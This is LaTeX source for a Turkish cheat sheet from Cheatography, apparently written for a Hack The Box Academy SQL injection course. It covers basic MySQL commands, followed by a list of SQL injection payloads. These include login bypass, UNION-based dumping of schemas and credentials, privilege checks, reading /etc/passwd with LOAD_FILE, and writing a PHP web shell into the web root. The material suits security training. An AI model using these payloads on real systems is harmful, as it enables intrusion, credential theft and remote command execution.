\documentclass[10pt,a4paper]{article} % Packages \usepackage{fancyhdr} % For header and footer \usepackage{multicol} % Allows multicols in tables \usepackage{tabularx} % Intelligent column widths \usepackage{tabulary} % Used in header and footer \usepackage{hhline} % Border under tables \usepackage{graphicx} % For images \usepackage{xcolor} % For hex colours %\usepackage[utf8x]{inputenc} % For unicode character support \usepackage[T1]{fontenc} % Without this we get weird character replacements \usepackage{colortbl} % For coloured tables \usepackage{setspace} % For line height \usepackage{lastpage} % Needed for total page number \usepackage{seqsplit} % Splits long words. %\usepackage{opensans} % Can't make this work so far. Shame. Would be lovely. \usepackage[normalem]{ulem} % For underlining links % Most of the following are not required for the majority % of cheat sheets but are needed for some symbol support. \usepackage{amsmath} % Symbols \usepackage{MnSymbol} % Symbols \usepackage{wasysym} % Symbols %\usepackage[english,german,french,spanish,italian]{babel} % Languages % Document Info \author{FHK} \pdfinfo{ /Title (htb-academy-sql-injection.pdf) /Creator (Cheatography) /Author (FHK) /Subject (HTB Academy SQL Injection Cheat Sheet) } % Lengths and widths \addtolength{\textwidth}{6cm} \addtolength{\textheight}{-1cm} \addtolength{\hoffset}{-3cm} \addtolength{\voffset}{-2cm} \setlength{\tabcolsep}{0.2cm} % Space between columns \setlength{\headsep}{-12pt} % Reduce space between header and content \setlength{\headheight}{85pt} % If less, LaTeX automatically increases it \renewcommand{\footrulewidth}{0pt} % Remove footer line \renewcommand{\headrulewidth}{0pt} % Remove header line \renewcommand{\seqinsert}{\ifmmode\allowbreak\else\-\fi} % Hyphens in seqsplit % This two commands together give roughly % the right line height in the tables \renewcommand{\arraystretch}{1.3} \onehalfspacing % Commands \newcommand{\SetRowColor}[1]{\noalign{\gdef\RowColorName{#1}}\rowcolor{\RowColorName}} % Shortcut for row colour \newcommand{\mymulticolumn}[3]{\multicolumn{#1}{>{\columncolor{\RowColorName}}#2}{#3}} % For coloured multi-cols \newcolumntype{x}[1]{>{\raggedright}p{#1}} % New column types for ragged-right paragraph columns \newcommand{\tn}{\tabularnewline} % Required as custom column type in use % Font and Colours \definecolor{HeadBackground}{HTML}{333333} \definecolor{FootBackground}{HTML}{666666} \definecolor{TextColor}{HTML}{333333} \definecolor{DarkBackground}{HTML}{11450D} \definecolor{LightBackground}{HTML}{F7F9F7} \renewcommand{\familydefault}{\sfdefault} \color{TextColor} % Header and Footer \pagestyle{fancy} \fancyhead{} % Set header to blank \fancyfoot{} % Set footer to blank \fancyhead[L]{ \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{C} \SetRowColor{DarkBackground} \vspace{-7pt} {\parbox{\dimexpr\textwidth-2\fboxsep\relax}{\noindent \hspace*{-6pt}\includegraphics[width=5.8cm]{/web/www.cheatography.com/public/images/cheatography_logo.pdf}} } \end{tabulary} \columnbreak \begin{tabulary}{11cm}{L} \vspace{-2pt}\large{\bf{\textcolor{DarkBackground}{\textrm{HTB Academy SQL Injection Cheat Sheet}}}} \\ \normalsize{by \textcolor{DarkBackground}{FHK} via \textcolor{DarkBackground}{\uline{cheatography.com/161147/cs/33809/}}} \end{tabulary} \end{multicols}} \fancyfoot[L]{ \footnotesize \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{LL} \SetRowColor{FootBackground} \mymulticolumn{2}{p{5.377cm}}{\bf\textcolor{white}{Cheatographer}} \\ \vspace{-2pt}FHK \\ \uline{cheatography.com/fhk} \\ \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Cheat Sheet}} \\ \vspace{-2pt}Not Yet Published.\\ Updated 25th August, 2022.\\ Page {\thepage} of \pageref{LastPage}. \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Sponsor}} \\ \SetRowColor{white} \vspace{-5pt} %\includegraphics[width=48px,height=48px]{dave.jpeg} Measure your website readability!\\ www.readability-score.com \end{tabulary} \end{multicols}} \begin{document} \raggedright \raggedcolumns % Set font size to small. Switch to any value % from this page to resize cheat sheet text: % www.emerson.emory.edu/services/latex/latex_169.html \footnotesize % Small font. \begin{multicols*}{3} \begin{tabularx}{5.377cm}{x{2.4885 cm} x{2.4885 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{MySQL}} \tn % Row 0 \SetRowColor{LightBackground} Giriş yapmak & `mysql -u root -p` \tn % Row Count 1 (+ 1) % Row 1 \SetRowColor{white} Giriş yaparken host ve port belirtimi & `mysql -u root -h \seqsplit{docker.hackthebox.eu} -P 3306 -p` \tn % Row Count 4 (+ 3) % Row 2 \SetRowColor{LightBackground} Database yaratmak & `{\bf{CREATE}} DATABASE users;` \tn % Row Count 6 (+ 2) % Row 3 \SetRowColor{white} Databaseleri g{\"o}rmek & `{\bf{SHOW}} DATABASES;` \tn % Row Count 8 (+ 2) % Row 4 \SetRowColor{LightBackground} Database kullanımı & `{\bf{USE}} users;` \tn % Row Count 9 (+ 1) % Row 5 \SetRowColor{white} Örnek tablo oluşturumu & `CREATE TABLE logins ( id INT, username VARCHAR(100), password VARCHAR(100), date\_of\_joining DATETIME );` \tn % Row Count 16 (+ 7) % Row 6 \SetRowColor{LightBackground} Tablo yapısını g{\"o}rmek & `{\bf{DESCRIBE}} logins;` \tn % Row Count 18 (+ 2) % Row 7 \SetRowColor{white} Tabloya her eleman eklediğimde ID'sinin düzenli olarak artmasını istiyorum & `id INT NOT NULL {\bf{AUTO\_INCREMENT}}` \tn % Row Count 22 (+ 4) % Row 8 \SetRowColor{LightBackground} Bir değişkenin eşsiz olmasını istiyorum & `username VARCHAR(100) {\bf{UNIQUE}} NOT NULL` \tn % Row Count 25 (+ 3) % Row 9 \SetRowColor{white} Varsayılan bir değer atamak & `date\_of\_joining DATETIME {\bf{DEFAULT}} NOW()` \tn % Row Count 28 (+ 3) % Row 10 \SetRowColor{LightBackground} PRIMARY KEY ataması & `PRIMARY KEY (id)` \tn % Row Count 29 (+ 1) % Row 11 \SetRowColor{white} Tüm bu {\"o}zelliklerin dahili {\"o}rneği & `CREATE TABLE logins ( id INT NOT NULL AUTO\_INCREMENT, username VARCHAR(100) UNIQUE NOT NULL, password VARCHAR(100) NOT NULL, date\_of\_joining DATETIME DEFAULT NOW(), PRIMARY KEY (id) );` \tn % Row Count 40 (+ 11) \hhline{>{\arrayrulecolor{DarkBackground}}--} \SetRowColor{LightBackground} \mymulticolumn{2}{x{5.377cm}}{● Varsayılan MySQL/MariaDB port'u 3306'dır. \newline ● -h: Host , -P: Port , -p: Parola \newline ● Komutlarının sonuna ; koymayı unutma} \tn \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{2.4885 cm} x{2.4885 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Sonuç Kısıtlama ve Sıralama}} \tn % Row 0 \SetRowColor{LightBackground} Küçükten büyüğe sıralamak & `SELECT * FROM logins {\bf{ORDER BY}} password;` \tn % Row Count 3 (+ 3) % Row 1 \SetRowColor{white} Büyükten küçüğe sıralamak & `SELECT * FROM logins {\bf{ORDER BY}} password {\bf{DESC}};` \tn % Row Count 6 (+ 3) % Row 2 \SetRowColor{LightBackground} Birden fazla parametreye g{\"o}re sıralamak & `SELECT * FROM logins {\bf{ORDER BY}} password {\bf{DESC}}, id {\bf{ASC}};` \tn % Row Count 10 (+ 4) % Row 3 \SetRowColor{white} Sonuçları kısıtlamak & `SELECT * FROM logins {\bf{LIMIT}} 3;` \tn % Row Count 12 (+ 2) % Row 4 \SetRowColor{LightBackground} Index değerine g{\"o}re sonuç kısıtlamak & `SELECT * FROM logins {\bf{LIMIT}} 0, 1, 2;` \tn % Row Count 15 (+ 3) \hhline{>{\arrayrulecolor{DarkBackground}}--} \SetRowColor{LightBackground} \mymulticolumn{2}{x{5.377cm}}{$\diamondsuit{}$ Varsayılan olarak sonuçların sıralanması {\emph{ascending order}} yani küçükten büyüğe artan şekilde olur. Bunun spesifik olarak belirtimi {\bf{ASC}} şeklindedir. Büyükten küçüğe azalan şekilde bir belirtim için {\bf{DESC}} kullanılır.} \tn \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{p{2.4885 cm} p{2.4885 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{URL Encode}} \tn % Row 0 \SetRowColor{LightBackground} {\bf{'}} & `\%27` \tn % Row Count 1 (+ 1) % Row 1 \SetRowColor{white} {\bf{"}} & `\%22` \tn % Row Count 2 (+ 1) % Row 2 \SetRowColor{LightBackground} {\bf{\#}} & `\%23` \tn % Row Count 3 (+ 1) % Row 3 \SetRowColor{white} {\bf{;}} & `\%3B` \tn % Row Count 4 (+ 1) % Row 4 \SetRowColor{LightBackground} {\bf{)}} & `\%29` \tn % Row Count 5 (+ 1) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{p{0.50347 cm} x{2.05965 cm} x{2.01388 cm} } \SetRowColor{DarkBackground} \mymulticolumn{3}{x{5.377cm}}{\bf\textcolor{white}{SQL Komutları}} \tn % Row 0 \SetRowColor{LightBackground} {\bf{INSERT}} & Tabloya yeni kayıtlar eklememizi sağlar. & `INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');` \tn % Row Count 6 (+ 6) % Row 1 \SetRowColor{white} {\bf{SELECT}} & Tablodan veri çekmemizi sağlar. Yıldız işareti (*) joker karakter işlevi g{\"o}rür ve tüm sütunları seçer. FROM anahtar s{\"o}zcüğü, aralarından seçim yapılacak tabloyu belirtmek için kullanılır. & `SELECT * FROM table\_name;` \tn % Row Count 18 (+ 12) % Row 2 \SetRowColor{LightBackground} {\bf{DROP}} & MySQL içerisinde tablo ve database silmek için DROP komutu kullanılır. & `mysql\textgreater{} DROP TABLE logins;` \tn % Row Count 23 (+ 5) % Row 3 \SetRowColor{white} {\bf{ALTER}} & Tablo sütunları üzerinde belirli değişiklikler yapmak için kullanılır. & \tn % Row Count 28 (+ 5) % Row 4 \SetRowColor{LightBackground} & - Yeni sütun eklemek & `ALTER TABLE logins ADD newColumn INT;` \tn % Row Count 31 (+ 3) \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{5.377cm}{p{0.50347 cm} x{2.05965 cm} x{2.01388 cm} } \SetRowColor{DarkBackground} \mymulticolumn{3}{x{5.377cm}}{\bf\textcolor{white}{SQL Komutları (cont)}} \tn % Row 5 \SetRowColor{LightBackground} & - Bir sütunu yeniden adlandırmak & `ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;` \tn % Row Count 4 (+ 4) % Row 6 \SetRowColor{white} & - Sütunun veri tipini değiştirmek & `ALTER TABLE logins MODIFY oldColumn DATE;` \tn % Row Count 7 (+ 3) % Row 7 \SetRowColor{LightBackground} & - Sütunu silmek & `ALTER TABLE logins DROP oldColumn;` \tn % Row Count 10 (+ 3) % Row 8 \SetRowColor{white} {\bf{UPDATE}} & Belirli kayıtlar üzerinde değişiklik yapmak için kullanılır. & `UPDATE logins SET password = \seqsplit{'change\_password'} WHERE id \textgreater{} 1;` \tn % Row Count 14 (+ 4) \hhline{>{\arrayrulecolor{DarkBackground}}---} \SetRowColor{LightBackground} \mymulticolumn{3}{x{5.377cm}}{● {\bf{ALTER}} tablo {\"o}zelliklerini değiştirmeye yararken, {\bf{UPDATE}} komutu belirli kayıtlar üzerinde değişiklik yapmaya yarar. \newline ● {\bf{DROP}} komutu silmeden {\"o}nce herhangi bir onay istemez.} \tn \hhline{>{\arrayrulecolor{DarkBackground}}---} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{p{0.4577 cm} x{2.05965 cm} x{2.05965 cm} } \SetRowColor{DarkBackground} \mymulticolumn{3}{x{5.377cm}}{\bf\textcolor{white}{Sorgu Sonuç Filtrelemesi}} \tn % Row 0 \SetRowColor{LightBackground} {\bf{WHERE}} & Filtreleme yapmak ya da spesifik bir veriyi aramak için kullanılır. & `SELECT * FROM table\_name WHERE \textless{}condition\textgreater{};` \tn % Row Count 4 (+ 4) % Row 1 \SetRowColor{white} {\bf{LIKE}} & LIKE belirli bir kalıba ya da şablona uyan verileri belirlememizi sağlar. {\bf{\%}} işareti d{\"o}necek veriyi referans eder yani kelimeden sonra gelen her karakteri bünyesine alır. & `SELECT * FROM logins WHERE username LIKE 'admin\%';` \tn % Row Count 14 (+ 10) % Row 2 \SetRowColor{LightBackground} & {\bf{\_}} işareti ise \% işaretinin aksine yalnızca tek bir karakterle eşleşir. Burada 3 karakter uzunluğunda arama yapılır. & `SELECT * FROM logins WHERE username like '\_\_\_';` \tn % Row Count 22 (+ 8) \hhline{>{\arrayrulecolor{DarkBackground}}---} \SetRowColor{LightBackground} \mymulticolumn{3}{x{5.377cm}}{$\diamondsuit{}$ {\bf{WHERE}} şartında {\emph{sayılar}} doğrudan kullanılabilirken, {\emph{string}} ve {\emph{tarih}} veri türleri başlarında tek tırnak (') veya çift tırnak (") ile belirtilmelidirler.} \tn \hhline{>{\arrayrulecolor{DarkBackground}}---} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{2.4885 cm} x{2.4885 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{SQL Injection}} \tn % Row 0 \SetRowColor{LightBackground} `admin' OR '1'='1` & Temel Bypass Y{\"o}ntemi \tn % Row Count 2 (+ 2) % Row 1 \SetRowColor{white} `admin')-{}- -` & Yorum Satırlı Bypass Y{\"o}ntemi \tn % Row Count 4 (+ 2) % Row 2 \SetRowColor{LightBackground} `' order by 1-{}- -` & Sütun Sayısı Belirleme \tn % Row Count 6 (+ 2) % Row 3 \SetRowColor{white} `' UNION select 1,2,3-{}- -` & Sütun Sayısı Belirleme \tn % Row Count 8 (+ 2) % Row 4 \SetRowColor{LightBackground} `' UNION select 1,@@version,3,4-{}- -` & Temel Union Injection ile Versiyon Keşfi \tn % Row Count 11 (+ 3) % Row 5 \SetRowColor{white} `'UNION select username, 2, 3, 4 from passwords-{}- -` & D{\"o}rt sütunda union injection {\"o}rneği \tn % Row Count 14 (+ 3) % Row 6 \SetRowColor{LightBackground} `' UNION select 1,schema\_name,3,4 from INFORMATION\_SCHEMA.SCHEMATA-{}- -` & Tüm Veri Tabanlarını Listele \tn % Row Count 18 (+ 4) % Row 7 \SetRowColor{white} `' UNION select 1,TABLE\_NAME,TABLE\_SCHEMA,4 from \seqsplit{INFORMATION\_SCHEMA.TABLES} where table\_schema='dev'-{}- -` & Belirli Bir Veri Tabanındaki Tüm Tabloları Listele \tn % Row Count 24 (+ 6) % Row 8 \SetRowColor{LightBackground} `' UNION select 1,COLUMN\_NAME,TABLE\_NAME,TABLE\_SCHEMA from \seqsplit{INFORMATION\_SCHEMA.COLUMNS} where table\_name='credentials'-{}- -` & Spesifik Bir Tablodaki Tüm Sütunları Listele \tn % Row Count 31 (+ 7) \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{5.377cm}{x{2.4885 cm} x{2.4885 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{SQL Injection (cont)}} \tn % Row 9 \SetRowColor{LightBackground} `' UNION select 1, username, password, 4 from dev.credentials-{}- -` & Tablo Adı, Sütunu Belli Tabloyu Oku \tn % Row Count 4 (+ 4) % Row 10 \SetRowColor{white} `' UNION SELECT 1, user(), 3, 4-{}- -` & Halihazırdaki Kullanıcıyı Bulmak \tn % Row Count 6 (+ 2) % Row 11 \SetRowColor{LightBackground} `' UNION SELECT 1, super\_priv, 3, 4 FROM mysql.user WHERE user="root"-{}- -` & Admin Yetkilerine Sahip Miyiz? \tn % Row Count 10 (+ 4) % Row 12 \SetRowColor{white} `' UNION SELECT 1, grantee, privilege\_type, is\_grantable FROM \seqsplit{information\_schema.user\_privileges} WHERE user="root"-{}- -` & Hangi Komutları Kullanabiliyoruz? \tn % Row Count 16 (+ 6) % Row 13 \SetRowColor{LightBackground} `' UNION SELECT 1, variable\_name, variable\_value, 4 FROM \seqsplit{information\_schema.global\_variables} where variable\_name="secure\_file\_priv"-{}- -` & MySQL ile Hangi Dizinlere Erişilebilir? \tn % Row Count 23 (+ 7) % Row 14 \SetRowColor{white} ` UNION SELECT 1, \seqsplit{LOAD\_FILE("/etc/passwd")}, 3, 4-{}- -` & Yerel Dosya Okuma \tn % Row Count 26 (+ 3) % Row 15 \SetRowColor{LightBackground} `' UNION SELECT 1,'file written successfully!',3,4 into outfile \seqsplit{'/var/www/html/proof}.txt'-{}- -` & Yerel Dosyaya String Yazma \tn % Row Count 31 (+ 5) \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{5.377cm}{x{2.4885 cm} x{2.4885 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{SQL Injection (cont)}} \tn % Row 16 \SetRowColor{LightBackground} `' UNION SELECT "",'\textless{}?php system(\$\_REQUEST{[}0{]}); ?\textgreater{}', "", "" into outfile \seqsplit{'/var/www/html/shell}.php'-{}- -` & Web Shell Yazımı \tn % Row Count 6 (+ 6) \hhline{>{\arrayrulecolor{DarkBackground}}--} \SetRowColor{LightBackground} \mymulticolumn{2}{x{5.377cm}}{$\diamondsuit{}$ {\bf{UNION}} sorgularında seçilen sütunların tüm pozisyonlardaki veri tipleri aynı olmalıdır. \newline $\diamondsuit{}$ Asıl sorgu olan soldaki sorgu ne kadar sütun barındırıyorsa sağına yazacağımız {\bf{UNION}} sorgusu da o kadar sütun barındırmalıdır. Örneğin: \newline `SELECT {\emph{ from products where product\_id UNION SELECT username, 2, 3, 4 from passwords-{}- '` \newline $\diamondsuit{}$ {\bf{LOAD\_FILE()}} ile kaynak kod sızdırabilirsin. \newline $\diamondsuit{}$ Web shell yazmak için }}web root'u* bilmen gerekir.} \tn \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} % That's all folks \end{multicols*} \end{document}